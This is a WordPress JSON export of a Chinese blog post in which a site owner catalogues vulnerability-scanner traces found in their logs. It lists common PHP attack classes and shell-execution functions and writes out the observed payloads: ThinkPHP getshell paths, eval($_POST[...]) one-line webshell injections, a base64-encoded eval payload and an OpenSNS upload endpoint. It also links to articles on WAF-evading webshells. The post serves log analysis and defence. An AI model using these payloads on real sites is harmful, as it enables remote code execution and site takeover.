{"id":4364,"date":"2018-12-23T00:21:29","date_gmt":"2018-12-22T16:21:29","guid":{"rendered":"http:\/\/www.brofive.org\/?p=4364"},"modified":"2018-12-23T00:34:10","modified_gmt":"2018-12-22T16:34:10","slug":"%e5%90%84%e7%a7%8dphp%e6%bc%8f%e6%b4%9e%e6%89%ab%e6%8f%8f%e5%99%a8%e7%95%99%e4%b8%8b%e7%9a%84%e7%97%95%e8%bf%b9","status":"publish","type":"post","link":"http:\/\/www.brofive.net\/?p=4364","title":{"rendered":"\u5404\u79cdPHP\u6f0f\u6d1e\u626b\u63cf\u5668\u7559\u4e0b\u7684\u75d5\u8ff9"},"content":{"rendered":"<p><a href=\"http:\/\/www.brofive.net\/wp-content\/uploads\/2018\/12\/image-8.png\"><img loading=\"lazy\" decoding=\"async\" style=\"display: inline; border: 0px;\" title=\"image\" src=\"http:\/\/www.brofive.net\/wp-content\/uploads\/2018\/12\/image_thumb-7.png\" alt=\"image\" width=\"498\" height=\"305\" border=\"0\" \/><\/a><\/p>\n<p><span style=\"font-size: large;\">\u6700\u8fd1\u53d1\u73b0\u7f51\u7ad9\u6765\u4e86\u5927\u91cf\u7684\u641c\u7d22\u8bf7\u6c42\uff0c\u770b\u4e86\u4e00\u4e0b\uff0c\u57fa\u672c\u4e0a\u90fd\u662f\u9ed1\u5ba2\u7c7b\u578b\u7684\u5173\u952e\u8bcd\uff0c\u5927\u4f53\u7814\u7a76\u4e86\u4e00\u4e0b\uff0c\u8fd9\u4e9b\u57fa\u672c\u4e0a\u90fd\u662f\u5229\u7528\u5404\u79cd\u5f00\u6e90\u7cfb\u7edf\u7684\u6f0f\u6d1e\u8fdb\u884c\u7684\u626b\u63cf\uff0c\u6bd4\u5982thinkPHP\uff0c\u4e00\u822c\u6765\u8bf4\uff0c\u8fd9\u79cd\u626b\u63cf\u4e0d\u5e94\u8be5\u662f\u5f53\u505a\u641c\u7d22\u5f15\u64ce\u6765\u662f\u522b\u7684\uff0c\u53ef\u80fd\u662fWP\u7684\u8bc6\u522b\u4e0d\u51c6\u3002<\/span><span style=\"font-size: large;\"><a href=\"http:\/\/www.cnblogs.com\/agang-php\/p\/5783789.html\"><em>\u5b66\u4e60\u4e86\u4e00\u4e0b\uff0c\u5176\u5b9ePHP\u6709\u5f88\u591a\u79cd\u653b\u51fb\u65b9\u5f0f<\/em><\/a>\uff0c\u6765\u5149\u987e\u6211\u7f51\u7ad9\u5e76\u7559\u4e0b\u75d5\u8ff9\u7684\u4e3b\u8981\u7684\u6f0f\u6d1e\u626b\u63cf\u75d5\u8ff9\u5747\u4e3a\u7b80\u5355\u65b9\u5f0f\uff0c\u67092\u79cd\u9014\u5f84\uff1a\uff081\uff09\u4e0a\u4f20\u6587\u4ef6\uff082\uff09GetShell\u3002<\/span><\/p>\n<p><em>\u9488\u5bf9PHP\u7684\u7f51\u7ad9\u4e3b\u8981\u5b58\u5728\u4e0b\u9762\u51e0\u79cd\u653b\u51fb\u65b9\u5f0f:<br \/>\n1\u3001\u547d\u4ee4\u6ce8\u5165(Command Injection)<br \/>\n2\u3001eval\u6ce8\u5165(Eval Injection)<br \/>\n3\u3001\u5ba2\u6237\u7aef\u811a\u672c\u653b\u51fb(Script Insertion)<br \/>\n4\u3001\u8de8\u7f51\u7ad9\u811a\u672c\u653b\u51fb(Cross Site Scripting, XSS)<br \/>\n5\u3001SQL\u6ce8\u5165\u653b\u51fb(SQL injection)<br \/>\n6\u3001\u8de8\u7f51\u7ad9\u8bf7\u6c42\u4f2a\u9020\u653b\u51fb(Cross Site Request Forgeries, CSRF)<br \/>\n7\u3001Session \u4f1a\u8bdd\u52ab\u6301(Session Hijacking)<br \/>\n8\u3001Session \u56fa\u5b9a\u653b\u51fb(Session Fixation)<br \/>\n9\u3001HTTP\u54cd\u5e94\u62c6\u5206\u653b\u51fb(HTTP Response Splitting)<br \/>\n10\u3001\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e(File Upload Attack)<br \/>\n11\u3001\u76ee\u5f55\u7a7f\u8d8a\u6f0f\u6d1e(Directory Traversal)<br \/>\n12\u3001\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\u653b\u51fb(Remote Inclusion)<br \/>\n13\u3001\u52a8\u6001\u51fd\u6570\u6ce8\u5165\u653b\u51fb(Dynamic Variable Evaluation)<br \/>\n14\u3001URL\u653b\u51fb(URL attack)<br \/>\n15\u3001\u8868\u5355\u63d0\u4ea4\u6b3a\u9a97\u653b\u51fb(Spoofed Form Submissions)<br \/>\n16\u3001HTTP\u8bf7\u6c42\u6b3a\u9a97\u653b\u51fb(Spoofed HTTP Requests)<br \/>\n<\/em><\/p>\n<p><em><strong>\u547d\u4ee4\u6ce8\u5165\u653b\u51fb<br \/>\n<\/strong>PHP\u4e2d\u53ef\u4ee5\u4f7f\u7528\u4e0b\u52175\u4e2a\u51fd\u6570\u6765\u6267\u884c\u5916\u90e8\u7684\u5e94\u7528\u7a0b\u5e8f\u6216\u51fd\u6570<br \/>\nsystem\u3001exec\u3001passthru\u3001shell_exec\u3001\u201c(\u4e0eshell_exec\u529f\u80fd\u76f8\u540c)<br \/>\n\u51fd\u6570\u539f\u578b<br \/>\nstring system(string command, int &amp;return_var)<br \/>\ncommand \u8981\u6267\u884c\u7684\u547d\u4ee4<br \/>\nreturn_var \u5b58\u653e\u6267\u884c\u547d\u4ee4\u7684\u6267\u884c\u540e\u7684\u72b6\u6001\u503c<br \/>\nstring exec (string command, array &amp;output, int &amp;return_var)<br \/>\ncommand \u8981\u6267\u884c\u7684\u547d\u4ee4<br \/>\noutput \u83b7\u5f97\u6267\u884c\u547d\u4ee4\u8f93\u51fa\u7684\u6bcf\u4e00\u884c\u5b57\u7b26\u4e32<br \/>\nreturn_var \u5b58\u653e\u6267\u884c\u547d\u4ee4\u540e\u7684\u72b6\u6001\u503c<br \/>\nvoid passthru (string command, int &amp;return_var)<br \/>\ncommand \u8981\u6267\u884c\u7684\u547d\u4ee4<br \/>\nreturn_var \u5b58\u653e\u6267\u884c\u547d\u4ee4\u540e\u7684\u72b6\u6001\u503c<br \/>\nstring shell_exec (string command)<br \/>\ncommand \u8981\u6267\u884c\u7684\u547d\u4ee4<\/em><\/p>\n<p><strong><span style=\"font-size: large;\">\u5728\u6211\u7f51\u7ad9\u4e0a\u7559\u4e0b\u75d5\u8ff9\u7684\u5404\u79cdPHP\u3001JS\u6f0f\u6d1e\u626b\u63cf\u75d5\u8ff9<\/span><\/strong><\/p>\n<p><strong><u>1\u3001\u8fd9\u51e0\u4e2a\u90fd\u662fthinkPHP\u7684\u5404\u79cd\u6f0f\u6d1e\uff0cGetShell<\/u><\/strong><br \/>\n<a>\/module\/action\/param1\/${@print(eval($_POST[c<\/a>]))}<\/p>\n<p><a>\/abc\/abc\/abc\/${@print(eval($_POST[c<\/a>]))}<\/p>\n<p><a>\/abc\/abc\/abc\/${@print(eval($_POST[c]))}\/<\/a><\/p>\n<p>\/abc\/abc\/abc\/${@print(eval($_POST[1]))}<\/p>\n<p>index\/thinkapp\/invokefunction<\/p>\n<p>index\/thinkContainer\/invokefunction<\/p>\n<p>index\/thinkviewdriverPhp\/display<\/p>\n<p>index\/thinkRequest\/input<\/p>\n<p>\/index\/thinkapp\/invokefunction<\/p>\n<p>index\/thinktemplatedriverfile\/write<\/p>\n<p><strong><u>2\u3001\u8fd9\u4e2a\u662fOpenSNS\u7684\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u4e0a\u4f20\u6587\u4ef6<\/u><\/strong><\/p>\n<p>\/Core\/File\/uploadPictureBase64.html<\/p>\n<p><strong><u>3\u3001\u8fd92\u4e2a\u662f\u901a\u7528\u7684PHP\u7684\u4e00\u53e5\u8bdd\u6728\u9a6c\uff08\u53c2\u89c11\uff09<\/u><\/strong><\/p>\n<p>{${eval($_POST[c])}}<\/p>\n<p>{${eval($_POST[u])}}<\/p>\n<p><strong><u>4\u3001\u5176\u4ed6\u5404\u79cd\u6f0f\u6d1e\u626b\u63cf<\/u><\/strong><\/p>\n<p>${$_REQUEST[news](base64_decode(QGV2YWwoJF9QT1NUW3h3XSk))}}<\/p>\n<p>\/login\/register<\/p>\n<p>vod-search-area-${@print(eval($_POST[c]))} .html<\/p>\n<p>\u76f8\u5173\u4fe1\u606f\uff1a<\/p>\n<p><a title=\"https:\/\/blog.csdn.net\/settoken\/rss\/list\" href=\"https:\/\/blog.csdn.net\/settoken\/rss\/list\">SetToken\u7684\u535a\u5ba2<\/a><\/p>\n<p><a title=\"https:\/\/blog.csdn.net\/settoken\/article\/details\/53114781\" href=\"https:\/\/blog.csdn.net\/settoken\/article\/details\/53114781\">2016\u5e7411\u6708\u6574\u7406\u7684\u6700\u65b0php\u514d\u6740\u4e00\u53e5\u8bdd\u6728\u9a6c, 2017php\u514d\u6740\u4e00\u53e5\u8bdd(php\u8fc7\u72d7\u4e00\u53e5\u8bdd,\u8fc7\u72d7\u83dc\u5200,2016\u8fc7\u72d7\u4e00\u53e5\u8bdd,2016php\u514d\u6740\u4e00\u53e5\u8bdd,php\u8fc7waf\u4e00\u53e5\u8bdd)<\/a><\/p>\n<p><a title=\"http:\/\/www.sohu.com\/a\/281258209_609556\" href=\"http:\/\/www.sohu.com\/a\/281258209_609556\">thinkphp\u4ee3\u7801\u6267\u884cgetshell<\/a><\/p>\n<p><a title=\"http:\/\/www.hackdig.com\/?09\/hack-13910.htm\" href=\"http:\/\/www.hackdig.com\/?09\/hack-13910.htm\">\u91cd\u5e86\u8054\u901a\u5ba2\u6237\u7aef\u67d0\u5904\u547d\u4ee4\u6267\u884c\u5f15\u53d1\u7684\u5927\u95ee\u9898<\/a><\/p>\n<p><a title=\"https:\/\/www.jb51.net\/article\/66488.htm\" href=\"https:\/\/www.jb51.net\/article\/66488.htm\">php eval\u51fd\u6570\u4e00\u53e5\u8bdd\u6728\u9a6c\u4ee3\u7801<\/a><\/p>\n<p><a title=\"https:\/\/www.cnblogs.com\/milantgh\/p\/3639178.html\" href=\"https:\/\/www.cnblogs.com\/milantgh\/p\/3639178.html\">Thinkphp2.1\u7206\u51fa\u91cd\u5927\u5b89\u5168\u6f0f\u6d1e<\/a><\/p>\n<p><a title=\"http:\/\/www.cnblogs.com\/agang-php\/p\/5783789.html\" href=\"http:\/\/www.cnblogs.com\/agang-php\/p\/5783789.html\">PHP\u6f0f\u6d1e\u5168\u89e3(\u8be6\u7ec6\u4ecb\u7ecd)<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6700\u8fd1\u53d1\u73b0\u7f51\u7ad9\u6765\u4e86\u5927\u91cf\u7684\u641c\u7d22\u8bf7\u6c42\uff0c\u770b\u4e86\u4e00\u4e0b\uff0c\u57fa\u672c\u4e0a\u90fd\u662f\u9ed1\u5ba2\u7c7b\u578b\u7684\u5173\u952e\u8bcd\uff0c\u5927\u4f53\u7814\u7a76\u4e86\u4e00\u4e0b\uff0c\u8fd9\u4e9b\u57fa\u672c\u4e0a\u90fd\u662f\u5229\u7528\u5404\u79cd\u5f00&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4363,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,233,308],"tags":[542,543],"views":5335,"_links":{"self":[{"href":"http:\/\/www.brofive.net\/index.php?rest_route=\/wp\/v2\/posts\/4364"}],"collection":[{"href":"http:\/\/www.brofive.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.brofive.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.brofive.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.brofive.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4364"}],"version-history":[{"count":3,"href":"http:\/\/www.brofive.net\/index.php?rest_route=\/wp\/v2\/posts\/4364\/revisions"}],"predecessor-version":[{"id":4367,"href":"http:\/\/www.brofive.net\/index.php?rest_route=\/wp\/v2\/posts\/4364\/revisions\/4367"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.brofive.net\/index.php?rest_route=\/wp\/v2\/media\/4363"}],"wp:attachment":[{"href":"http:\/\/www.brofive.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4364"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.brofive.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4364"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.brofive.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4364"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}